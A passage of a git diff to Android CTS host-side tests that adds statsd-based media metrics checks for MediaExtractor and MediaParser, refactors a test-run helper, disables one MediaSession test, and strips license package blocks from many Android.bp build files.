- }
-
+ RemoteAndroidTestRunner testRunner = getTestRunner(pkgName, testClassName, testMethodName);
CollectingTestListener listener = new CollectingTestListener();
assertTrue(getDevice().runInstrumentationTestsAsUser(testRunner, userId, listener));
final TestRunResult result = listener.getCurrentRunResults();
- if (result.isRunFailure()) {
- throw new AssertionError("Failed to successfully run device tests for "
- + result.getName() + ": " + result.getRunFailureMessage());
- }
- if (result.getNumTests() == 0) {
- throw new AssertionError("No tests were run on the device");
- }
-
- if (result.hasFailedTests()) {
- // Build a meaningful error message
- StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
- for (Map.Entry<TestDescription, TestResult> resultEntry :
- result.getTestResults().entrySet()) {
- if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
- errorBuilder.append(resultEntry.getKey().toString());
- errorBuilder.append(":\n");
- errorBuilder.append(resultEntry.getValue().getStackTrace());
- }
- }
- throw new AssertionError(errorBuilder.toString());
- }
+ assertTestsPassed(result);
}
/**
diff --git a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
new file mode 100644
index 0000000..c06603c
--- /dev/null
+++ b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.stats.mediametrics.Mediametrics;
+
+import com.android.internal.os.StatsdConfigProto;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+
+import com.google.common.io.Files;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.stream.Collectors;
+
+/** Host-side tests for MediaExtractor. */
+public class MediaExtractorHostSideTest extends BaseMediaHostSideTest {
+ /** Package name of the device-side tests. */
+ private static final String DEVICE_SIDE_TEST_PACKAGE = "android.media.cts";
+ /** Name of the APK that contains the device-side tests. */
+ private static final String DEVICE_SIDE_TEST_APK = "CtsMediaExtractorHostTestApp.apk";
+ /** Fully qualified class name for the device-side tests. */
+ private static final String DEVICE_SIDE_TEST_CLASS =
+ "android.media.cts.MediaExtractorDeviceSideTest";
+
+ private static final long CONFIG_ID = "cts_config".hashCode();
+
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+ installApp(DEVICE_SIDE_TEST_APK);
+ removeConfig(); // Clear existing configs.
+ createAndUploadConfig();
+ getAndClearReportList(); // Clear existing reports.
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ removeConfig();
+ getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+ }
+
+ // Tests.
+
+ public void testMediaMetricsEntryPointSdk() throws Exception {
+ runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointSdk");
+ assertThat(getMediaExtractorReportedEntryPoint())
+ .isEqualTo(Mediametrics.ExtractorData.EntryPoint.SDK);
+ }
+
+ public void testMediaMetricsEntryPointNdkNoJvm() throws Exception {
+ runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointNdkNoJvm");
+ assertThat(getMediaExtractorReportedEntryPoint())
+ .isEqualTo(Mediametrics.ExtractorData.EntryPoint.NDK_NO_JVM);
+ }
+
+ public void testMediaMetricsEntryPointNdkWithJvm() throws Exception {
+ runDeviceTests(
+ DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointNdkWithJvm");
+ assertThat(getMediaExtractorReportedEntryPoint())
+ .isEqualTo(Mediametrics.ExtractorData.EntryPoint.NDK_WITH_JVM);
+ }
+
+ // Internal methods.
+
+ /** Removes any existing config with id {@link #CONFIG_ID}. */
+ private void removeConfig() throws Exception {
+ getDevice().executeShellCommand("cmd stats config remove " + CONFIG_ID);
+ }
+
+ /** Creates the statsd config and passes it to statsd. */
+ private void createAndUploadConfig() throws Exception {
+ StatsdConfig.Builder configBuilder =
+ StatsdConfigProto.StatsdConfig.newBuilder()
+ .setId(CONFIG_ID)
+ .addAllowedLogSource(DEVICE_SIDE_TEST_PACKAGE)
+ .addWhitelistedAtomIds(
+ AtomsProto.Atom.MEDIAMETRICS_EXTRACTOR_REPORTED_FIELD_NUMBER);
+ addAtomEvent(configBuilder);
+ uploadConfig(configBuilder.build());
+ }
+
+ /** Writes the given config into a file and passes is to statsd via standard input. */
+ private void uploadConfig(StatsdConfig config) throws Exception {
+ File configFile = File.createTempFile("statsdconfig", ".config");
+ configFile.deleteOnExit();
+ Files.write(config.toByteArray(), configFile);
+ String remotePath = "/data/local/tmp/" + configFile.getName();
+ // Make sure a config file with the same name doesn't exist already.
+ getDevice().deleteFile(remotePath);
+ assertThat(getDevice().pushFile(configFile, remotePath)).isTrue();
+ getDevice()
+ .executeShellCommand(
+ "cat " + remotePath + " | cmd stats config update " + CONFIG_ID);
+ getDevice().deleteFile(remotePath);
+ }
+
+ /** Adds an event to the config in order to match MediaParser reported atoms. */
+ private static void addAtomEvent(StatsdConfig.Builder config) {
+ String atomName = "Atom" + System.nanoTime();
+ String eventName = "Event" + System.nanoTime();
+ SimpleAtomMatcher.Builder sam =
+ SimpleAtomMatcher.newBuilder()
+ .setAtomId(AtomsProto.Atom.MEDIAMETRICS_EXTRACTOR_REPORTED_FIELD_NUMBER);
+ config.addAtomMatcher(
+ StatsdConfigProto.AtomMatcher.newBuilder()
+ .setId(atomName.hashCode())
+ .setSimpleAtomMatcher(sam));
+ config.addEventMetric(
+ StatsdConfigProto.EventMetric.newBuilder()
+ .setId(eventName.hashCode())
+ .setWhat(atomName.hashCode()));
+ }
+
+ /**
+ * Returns all MediaParser reported metric events sorted by timestamp.
+ *
+ * <p>Note: Calls {@link #getAndClearReportList()} to obtain the statsd report.
+ */
+ private Mediametrics.ExtractorData.EntryPoint getMediaExtractorReportedEntryPoint()
+ throws Exception {
+ ConfigMetricsReportList reportList = getAndClearReportList();
+ assertThat(reportList.getReportsCount()).isEqualTo(1);
+ StatsLog.ConfigMetricsReport report = reportList.getReports(0);
+ ArrayList<StatsLog.EventMetricData> data = new ArrayList<>();
+ report.getMetricsList()
+ .forEach(
+ statsLogReport ->
+ data.addAll(statsLogReport.getEventMetrics().getDataList()));
+ List<AtomsProto.MediametricsExtractorReported> mediametricsExtractorReported =
+ data.stream()
+ .map(element -> element.getAtom().getMediametricsExtractorReported())
+ .collect(Collectors.toList());
+ // During device boot, services may extract media files. We ensure we only pick up metric
+ // events from our device-side test.
+ mediametricsExtractorReported.removeIf(
+ entry -> !DEVICE_SIDE_TEST_PACKAGE.equals(entry.getPackageName()));
+ assertThat(mediametricsExtractorReported).hasSize(1);
+ return mediametricsExtractorReported.get(0).getExtractorData().getEntryPoint();
+ }
+
+ /** Gets a statsd report and removes it from the device. */
+ private ConfigMetricsReportList getAndClearReportList() throws Exception {
+ CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+ getDevice()
+ .executeShellCommand(
+ "cmd stats dump-report " + CONFIG_ID + " --include_current_bucket --proto",
+ receiver);
+ return ConfigMetricsReportList.parser().parseFrom(receiver.getOutput());
+ }
+}
diff --git a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
index e4956b0..870893c 100644
--- a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
+++ b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
@@ -253,7 +253,9 @@
@AppModeFull
@RequiresDevice
- public void testIsTrusted_withEnabledNotificationListener_returnsTrue() throws Exception {
+ // Ignored due to b/171012388.
+ public void ignored_testIsTrusted_withEnabledNotificationListener_returnsTrue()
+ throws Exception {
if (!canCreateAdditionalUsers(1)) {
CLog.logAndDisplay(LogLevel.INFO,
"Cannot create a new user. Skipping multi-user test cases.");
@@ -288,8 +290,7 @@
private void runTestAsUser(String testMethodName, int userId)
throws DeviceNotAvailableException {
- runDeviceTestsAsUser(DEVICE_SIDE_TEST_PKG, DEVICE_SIDE_TEST_CLASS,
- testMethodName, userId);
+ runDeviceTests(DEVICE_SIDE_TEST_PKG, DEVICE_SIDE_TEST_CLASS, testMethodName, userId);
}
/**
diff --git a/hostsidetests/mediaparser/Android.bp b/hostsidetests/mediaparser/Android.bp
new file mode 100644
index 0000000..87c9621
--- /dev/null
+++ b/hostsidetests/mediaparser/Android.bp
@@ -0,0 +1,39 @@
+//
+// Copyright 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_test_host {
+ name: "CtsMediaParserHostTestCases",
+ defaults: ["cts_defaults"],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "cts",
+ "vts10",
+ "general-tests",
+ ],
+ libs: [
+ "cts-tradefed",
+ "tradefed",
+ "compatibility-host-util",
+ ],
+ static_libs: [
+ "cts-host-utils",
+ ],
+ data: [
+ ":CtsMediaParserTestCasesApp",
+ ]
+}
diff --git a/hostsidetests/mediaparser/AndroidTest.xml b/hostsidetests/mediaparser/AndroidTest.xml
new file mode 100644
index 0000000..7d53939
--- /dev/null
+++ b/hostsidetests/mediaparser/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS media host test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="media" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="CtsMediaParserHostTestCases.jar" />
+ <option name="runtime-hint" value="3m" />
+ </test>
+</configuration>
+
diff --git a/hostsidetests/mediaparser/OWNERS b/hostsidetests/mediaparser/OWNERS
new file mode 100644
index 0000000..51256bf
--- /dev/null
+++ b/hostsidetests/mediaparser/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 817235
+aquilescanta@google.com
+andrewlewis@google.com
+essick@google.com
+marcone@google.com
diff --git a/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
new file mode 100644
index 0000000..e5797ce
--- /dev/null
+++ b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
@@ -0,0 +1,321 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.mediaparser.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.internal.os.StatsdConfigProto;
+import com.android.internal.os.StatsdConfigProto.AtomMatcher;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto;
+import com.android.os.AtomsProto.MediametricsMediaParserReported;
+import com.android.os.StatsLog;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import com.google.common.io.Files;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Comparator;
+import java.util.List;
+import java.util.stream.Collectors;
+
+/** Test for checking that the MediaParser CTS tests produce the expected media metrics. */
+public class MediaParserHostSideTest extends DeviceTestCase implements IBuildReceiver {
+
+ private static final String MEDIAPARSER_TEST_APK = "CtsMediaParserTestCasesApp.apk";
+ private static final String MEDIAPARSER_TEST_APP_PACKAGE = "android.media.mediaparser.cts";
+ private static final String MEDIAPARSER_TEST_CLASS_NAME =
+ "android.media.mediaparser.cts.MediaParserTest";
+ private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+ private static final long CONFIG_ID = "cts_config".hashCode();
+ private static final String MEDIAPARSER_METRICS_SEPARATOR = "\\|";
+ private static final double MEDIAPARSER_METRICS_DITHER_VALUE = .02f;
+
+ private IBuildInfo mCtsBuildInfo;
+
+ // Resource management.
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mCtsBuildInfo = buildInfo;
+ }
+
+ @Override
+ public void setUp() throws Exception {
+ File apk = new CompatibilityBuildHelper(mCtsBuildInfo).getTestFile(MEDIAPARSER_TEST_APK);
+ assertThat(getDevice().installPackage(apk, /* reinstall= */ true)).isNull();
+ removeConfig();
+ createAndUploadConfig();
+ getAndClearReportList(); // Clear existing reports.
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ removeConfig();
+ getDevice().uninstallPackage(MEDIAPARSER_TEST_APP_PACKAGE);
+ }
+
+ // Tests.
+
+ public void testCreationByNameMetrics() throws Exception {
+ String[] expectedParserNames = {
+ "android.media.mediaparser.MatroskaParser",
+ "android.media.mediaparser.FragmentedMp4Parser",
+ "android.media.mediaparser.Mp4Parser",
+ "android.media.mediaparser.Mp3Parser",
+ "android.media.mediaparser.AdtsParser",
+ "android.media.mediaparser.Ac3Parser",
+ "android.media.mediaparser.TsParser",
+ "android.media.mediaparser.FlvParser",
+ "android.media.mediaparser.OggParser",
+ "android.media.mediaparser.PsParser",
+ "android.media.mediaparser.WavParser",
+ "android.media.mediaparser.AmrParser",
+ "android.media.mediaparser.Ac4Parser",
+ "android.media.mediaparser.FlacParser",
+ };
+ // All of the above are created by name.
+ int[] expectedCreatedByName =
+ Arrays.stream(expectedParserNames).mapToInt(unusedArgument -> 1).toArray();
+ runDeviceTest("testCreationByName");
+ List<MediametricsMediaParserReported> mediaParserReportedEvents =
+ getMediaParserReportedEvents();
+ String[] observedParserNames =
+ mediaParserReportedEvents.stream()
+ .map(MediametricsMediaParserReported::getParserName)
+ .toArray(String[]::new);
+ int[] observedCreatedByName =
+ mediaParserReportedEvents.stream()
+ .mapToInt(MediametricsMediaParserReported::getCreatedByName)
+ .toArray();
+ assertThat(observedParserNames).isEqualTo(expectedParserNames);
+ assertThat(observedCreatedByName).isEqualTo(expectedCreatedByName);
+ }
+
+ public void testParserPool() throws Exception {
+ runDeviceTest("testMp4");
+ String[] expectedParserNamesInPool = {
+ "android.media.mediaparser.MatroskaParser",
+ "android.media.mediaparser.FragmentedMp4Parser",
+ "android.media.mediaparser.Mp4Parser",
+ "android.media.mediaparser.Mp3Parser",
+ "android.media.mediaparser.AdtsParser",
+ "android.media.mediaparser.Ac3Parser",
+ "android.media.mediaparser.TsParser",
+ "android.media.mediaparser.FlvParser",
+ "android.media.mediaparser.OggParser",
+ "android.media.mediaparser.PsParser",
+ "android.media.mediaparser.WavParser",
+ "android.media.mediaparser.AmrParser",
+ "android.media.mediaparser.Ac4Parser",
+ "android.media.mediaparser.FlacParser",
+ };
+ String parserPool = getSingleMediaParserReportedEvent().getParserPool();
+ List<String> parserNamesInParserPool =
+ Arrays.asList(parserPool.split(MEDIAPARSER_METRICS_SEPARATOR));
+ // We do not assert the order in the pool in order to allow test robustness against future
+ // mainline changes.
+ assertThat(parserNamesInParserPool).containsExactlyElementsIn(expectedParserNamesInPool);
+ }
+
+ public void testLastException() throws Exception {
+ runDeviceTest("testOggInvalidHeaderSniff");
+ List<MediametricsMediaParserReported> mediaParserReportedEvents =
+ getMediaParserReportedEvents();
+ assertThat(mediaParserReportedEvents).hasSize(2);
+ for (MediametricsMediaParserReported event : mediaParserReportedEvents) {
+ assertThat(event.getLastException())
+ .isEqualTo("android.media.MediaParser$UnrecognizedInputFormatException");
+ }
+ }
+
+ public void testResourceByteCount() throws Exception {
+ long actualInputSize = 101597;
+ long minimumExpectedResourceByteCount =
+ (long) (actualInputSize * (1 - MEDIAPARSER_METRICS_DITHER_VALUE));
+ long maximumExpectedResourceByteCount =
+ (long) (actualInputSize * (1 + MEDIAPARSER_METRICS_DITHER_VALUE));
+ runDeviceTest("testMp4");
+ long reportedByteCount = getSingleMediaParserReportedEvent().getResourceByteCount();
+ assertThat(reportedByteCount).isAtLeast(minimumExpectedResourceByteCount);
+ assertThat(reportedByteCount).isAtMost(maximumExpectedResourceByteCount);
+ }
+
+ public void testDurationMillis() throws Exception {
+ long actualDurationMillis = 1024;
+ long minimumExpectedResourceByteCount =
+ (long) (actualDurationMillis * (1 - MEDIAPARSER_METRICS_DITHER_VALUE));
+ long maximumExpectedResourceByteCount =
+ (long) (actualDurationMillis * (1 + MEDIAPARSER_METRICS_DITHER_VALUE));
+ runDeviceTest("testMp4");
+ long reportedDurationMillis = getSingleMediaParserReportedEvent().getDurationMillis();
+ assertThat(reportedDurationMillis).isAtLeast(minimumExpectedResourceByteCount);
+ assertThat(reportedDurationMillis).isAtMost(maximumExpectedResourceByteCount);
+ }
+
+ public void testTrackMimeTypes() throws Exception {
+ String[] expectedTrackMimeTypes = new String[] {"video/avc", "audio/mp4a-latm"};
+ runDeviceTest("testMp4");
+ String trackMimeTypesField = getSingleMediaParserReportedEvent().getTrackMimeTypes();
+ List<String> actualTrackMimeTypes =
+ Arrays.asList(trackMimeTypesField.split(MEDIAPARSER_METRICS_SEPARATOR));
+ assertThat(actualTrackMimeTypes).containsExactlyElementsIn(expectedTrackMimeTypes);
+ }
+
+ public void testTrackCodecs() throws Exception {
+ String[] expectedCodecs = new String[] {"", "mp4a.40.2"};
+ runDeviceTest("testMp4");
+ String trackMimeTypesField = getSingleMediaParserReportedEvent().getTrackCodecs();
+ List<String> actualTrackMimeTypes =
+ Arrays.asList(trackMimeTypesField.split(MEDIAPARSER_METRICS_SEPARATOR));
+ assertThat(actualTrackMimeTypes).containsExactlyElementsIn(expectedCodecs);
+ }
+
+ public void testAlteredParameters() throws Exception {
+ runDeviceTest("testTsWithH264DtsAudio");
+ assertThat(getSingleMediaParserReportedEvent().getAlteredParameters())
+ .isEqualTo("android.media.mediaparser.ts.enableHdmvDtsAudioStreams");
+ }
+
+ public void testVideoSize() throws Exception {
+ runDeviceTest("testMp4");
+ MediametricsMediaParserReported reportedEvent = getSingleMediaParserReportedEvent();
+ assertThat(reportedEvent.getVideoWidth()).isEqualTo(1080);
+ assertThat(reportedEvent.getVideoHeight()).isEqualTo(720);
+ }
+
+ // Internal methods.
+
+ /** Creates the statsd config and passes it to statsd. */
+ private void createAndUploadConfig() throws Exception {
+ StatsdConfig.Builder configBuilder =
+ StatsdConfigProto.StatsdConfig.newBuilder()
+ .setId(CONFIG_ID)
+ .addAllowedLogSource(MEDIAPARSER_TEST_APP_PACKAGE)
+ .addWhitelistedAtomIds(
+ AtomsProto.Atom.MEDIAMETRICS_MEDIAPARSER_REPORTED_FIELD_NUMBER);
+ addAtomEvent(configBuilder);
+ uploadConfig(configBuilder.build());
+ }
+
+ /** Removes any existing config with id {@link #CONFIG_ID}. */
+ private void removeConfig() throws Exception {
+ getDevice().executeShellCommand("cmd stats config remove " + CONFIG_ID);
+ }
+
+ /** Writes the given config into a file and passes is to statsd via standard input. */
+ private void uploadConfig(StatsdConfig config) throws Exception {
+ File configFile = File.createTempFile("statsdconfig", ".config");
+ configFile.deleteOnExit();
+ Files.write(config.toByteArray(), configFile);
+ String remotePath = "/data/local/tmp/" + configFile.getName();
+ // Make sure a config file with the same name doesn't exist already.
+ getDevice().deleteFile(remotePath);
+ assertThat(getDevice().pushFile(configFile, remotePath)).isTrue();
+ getDevice()
+ .executeShellCommand(
+ "cat " + remotePath + " | cmd stats config update " + CONFIG_ID);
+ getDevice().deleteFile(remotePath);
+ }
+
+ /**
+ * Asserts that there is only one MediaParser reported metric event, and returns it.
+ *
+ * <p>Note: Calls {@link #getAndClearReportList()} to obtain the statsd report.
+ */
+ private MediametricsMediaParserReported getSingleMediaParserReportedEvent() throws Exception {
+ List<MediametricsMediaParserReported> mediaParserReportedEvents =
+ getMediaParserReportedEvents();
+ assertThat(mediaParserReportedEvents).hasSize(1);
+ return mediaParserReportedEvents.get(0);
+ }
+
+ /**
+ * Returns all MediaParser reported metric events sorted by timestamp.
+ *
+ * <p>Note: Calls {@link #getAndClearReportList()} to obtain the statsd report.
+ */
+ private List<MediametricsMediaParserReported> getMediaParserReportedEvents() throws Exception {
+ ConfigMetricsReportList reportList = getAndClearReportList();
+ assertThat(reportList.getReportsCount()).isEqualTo(1);
+ StatsLog.ConfigMetricsReport report = reportList.getReports(0);
+ ArrayList<EventMetricData> data = new ArrayList<>();
+ report.getMetricsList()
+ .forEach(
+ statsLogReport ->
+ data.addAll(statsLogReport.getEventMetrics().getDataList()));
+ // We sort the reported events by the elapsed timestamp so as to ensure they are returned
+ // in the same order as they were generated by the CTS tests.
+ return data.stream()
+ .sorted(Comparator.comparing(EventMetricData::getElapsedTimestampNanos))
+ .map(event -> event.getAtom().getMediametricsMediaparserReported())
+ .collect(Collectors.toList());
+ }
+
+ /** Gets a statsd report and removes it from the device. */
+ private ConfigMetricsReportList getAndClearReportList() throws Exception {
+ CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+ getDevice()
+ .executeShellCommand(
+ "cmd stats dump-report " + CONFIG_ID + " --include_current_bucket --proto",
+ receiver);
+ return ConfigMetricsReportList.parser().parseFrom(receiver.getOutput());
+ }
+
+ /** Runs the test with the given name from the MediaParser CTS apk. */
+ private void runDeviceTest(String testMethodName) throws DeviceNotAvailableException {
+ RemoteAndroidTestRunner testRunner =
+ new RemoteAndroidTestRunner(
+ MEDIAPARSER_TEST_APP_PACKAGE, TEST_RUNNER, getDevice().getIDevice());
+ testRunner.setMethodName(MEDIAPARSER_TEST_CLASS_NAME, testMethodName);
+ CollectingTestListener listener = new CollectingTestListener();
+ assertThat(getDevice().runInstrumentationTests(testRunner, listener)).isTrue();
+ TestRunResult result = listener.getCurrentRunResults();
+ assertThat(result.isRunFailure()).isFalse();
+ assertThat(result.getNumTests()).isEqualTo(1);
+ assertThat(result.hasFailedTests()).isFalse();
+ }
+
+ /** Adds an event to the config in order to match MediaParser reported atoms. */
+ private static void addAtomEvent(StatsdConfig.Builder config) {
+ String atomName = "Atom" + System.nanoTime();
+ String eventName = "Event" + System.nanoTime();
+ SimpleAtomMatcher.Builder sam =
+ SimpleAtomMatcher.newBuilder()
+ .setAtomId(AtomsProto.Atom.MEDIAMETRICS_MEDIAPARSER_REPORTED_FIELD_NUMBER);
+ config.addAtomMatcher(
+ AtomMatcher.newBuilder().setId(atomName.hashCode()).setSimpleAtomMatcher(sam));
+ config.addEventMetric(
+ StatsdConfigProto.EventMetric.newBuilder()
+ .setId(eventName.hashCode())
+ .setWhat(atomName.hashCode()));
+ }
+}
diff --git a/hostsidetests/monkey/Android.bp b/hostsidetests/monkey/Android.bp
index 692fb07..102e9ae 100644
--- a/hostsidetests/monkey/Android.bp
+++ b/hostsidetests/monkey/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsMonkeyTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.bp b/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.bp
index 6ccc9cd..be2766e 100644
--- a/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.bp
+++ b/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsMonkeyApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.bp b/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.bp
index 16d5c48..debb8f6 100644
--- a/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.bp
+++ b/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsMonkeyApp2",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/multiuser/Android.bp b/hostsidetests/multiuser/Android.bp
index 4ce0368..1543686 100644
--- a/hostsidetests/multiuser/Android.bp
+++ b/hostsidetests/multiuser/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsMultiUserHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/numberblocking/Android.bp b/hostsidetests/numberblocking/Android.bp
index 67ce71c..8f7563f 100644
--- a/hostsidetests/numberblocking/Android.bp
+++ b/hostsidetests/numberblocking/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsHostsideNumberBlockingTestCases",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/numberblocking/app/Android.bp b/hostsidetests/numberblocking/app/Android.bp
index 6a60d13..653121d 100644
--- a/hostsidetests/numberblocking/app/Android.bp
+++ b/hostsidetests/numberblocking/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsHostsideNumberBlockingAppTest",
dex_preopt: {
diff --git a/hostsidetests/os/Android.bp b/hostsidetests/os/Android.bp
index f60a789..dabbcbe 100644
--- a/hostsidetests/os/Android.bp
+++ b/hostsidetests/os/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
// Must match the package name in CtsTestCaseList.mk
name: "CtsOsHostTestCases",
diff --git a/hostsidetests/os/app/Android.bp b/hostsidetests/os/app/Android.bp
index 969c3dd..c240299 100644
--- a/hostsidetests/os/app/Android.bp
+++ b/hostsidetests/os/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDeviceOsTestApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/EnvironmentTestApp/Android.bp b/hostsidetests/os/test-apps/EnvironmentTestApp/Android.bp
index abf8a14..ea30d9c 100644
--- a/hostsidetests/os/test-apps/EnvironmentTestApp/Android.bp
+++ b/hostsidetests/os/test-apps/EnvironmentTestApp/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsHostEnvironmentTestApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.bp b/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.bp
index 3fb73fe..6b89473 100644
--- a/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.bp
+++ b/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
